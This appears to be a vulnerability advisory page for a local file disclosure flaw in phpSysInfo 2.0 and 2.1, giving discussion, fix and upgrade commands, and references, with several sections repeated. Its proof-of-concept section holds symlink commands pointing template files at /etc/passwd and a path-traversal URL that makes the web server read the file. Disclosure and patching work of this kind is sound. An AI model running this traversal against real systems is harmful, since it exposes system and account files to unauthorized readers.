PHPSysInfo Index.PHP File Disclosure Vulnerability
BID:7275
Info
PHPSysInfo Index.PHP File Disclosure Vulnerability
| Bugtraq ID: | 7275 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Apr 03 2003 12:00AM |
| Updated: | Apr 03 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to Albert Puigsech Galicia <[email protected]>. |
| Vulnerable: |
phpSysInfo phpSysInfo 2.1 phpSysInfo phpSysInfo 2.0 |
| Not Vulnerable: | |
Discussion
PHPSysInfo Index.PHP File Disclosure Vulnerability
PHPSysInfo has been reported to be vulnerable to a file disclosure issue.
Local users may be capable of influencing the include path for several PHPSysinfo template files. If the malicious template file is symlinked to a web server readable file, the contents of the linked file may be disclosed to the attacker.
This attack may lead to confidential or sensitive information disclosure, which could be used to launch other attacks.
PHPSysInfo has been reported to be vulnerable to a file disclosure issue.
Local users may be capable of influencing the include path for several PHPSysinfo template files. If the malicious template file is symlinked to a web server readable file, the contents of the linked file may be disclosed to the attacker.
This attack may lead to confidential or sensitive information disclosure, which could be used to launch other attacks.
Exploit / POC
PHPSysInfo Index.PHP File Disclosure Vulnerability
The following proof of concept was provided:
~$ ln -s /etc/passwd /tmp/form.tpl
~$ ln -s /etc/passwd /tmp/box.tpl
http://www.example.com/index.php?template=../../../../tmp
The following proof of concept was provided:
~$ ln -s /etc/passwd /tmp/form.tpl
~$ ln -s /etc/passwd /tmp/box.tpl
http://www.example.com/index.php?template=../../../../tmp
Solution / Fix
PHPSysInfo Index.PHP File Disclosure Vulnerability
Solution:
The vendor has advised that this vulnerability has been addressed in the current cvs version of phpSysInfo. Users are advised to upgrade.
GENTOO has released an advisory 200311-06 to address this issue. Users are advised to upgrade to the fixed version by carrying out the following commands:
emerge sync
emerge '>=dev-php/phpsysinfo-2.1-r1'
emerge clean
phpSysInfo phpSysInfo 2.0
phpSysInfo phpSysInfo 2.1
Solution:
The vendor has advised that this vulnerability has been addressed in the current cvs version of phpSysInfo. Users are advised to upgrade.
GENTOO has released an advisory 200311-06 to address this issue. Users are advised to upgrade to the fixed version by carrying out the following commands:
emerge sync
emerge '>=dev-php/phpsysinfo-2.1-r1'
emerge clean
phpSysInfo phpSysInfo 2.0
-
Debian phpsysinfo_2.0-3woody1_all.deb
Debian GNU/Linux 3.0 alias woody.
http://security.debian.org/pool/updates/main/p/phpsysinfo/phpsysinfo_2 .0-3woody1_all.deb
phpSysInfo phpSysInfo 2.1
-
Wolter Kamphuis phpSysInfo
CVS Version
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/phpsysinfo/phpsysinfo-d ev/index.php.diff?r1=1.56&r2=1.57
References
PHPSysInfo Index.PHP File Disclosure Vulnerability
References:
References:
- PHPSysInfo (PHP SysInfo)
- Re: Unauthorized reading files on phpSysInfo (Wolter Kamphuis
- Unauthorized reading files on phpSysInfo (Albert Puigsech Galicia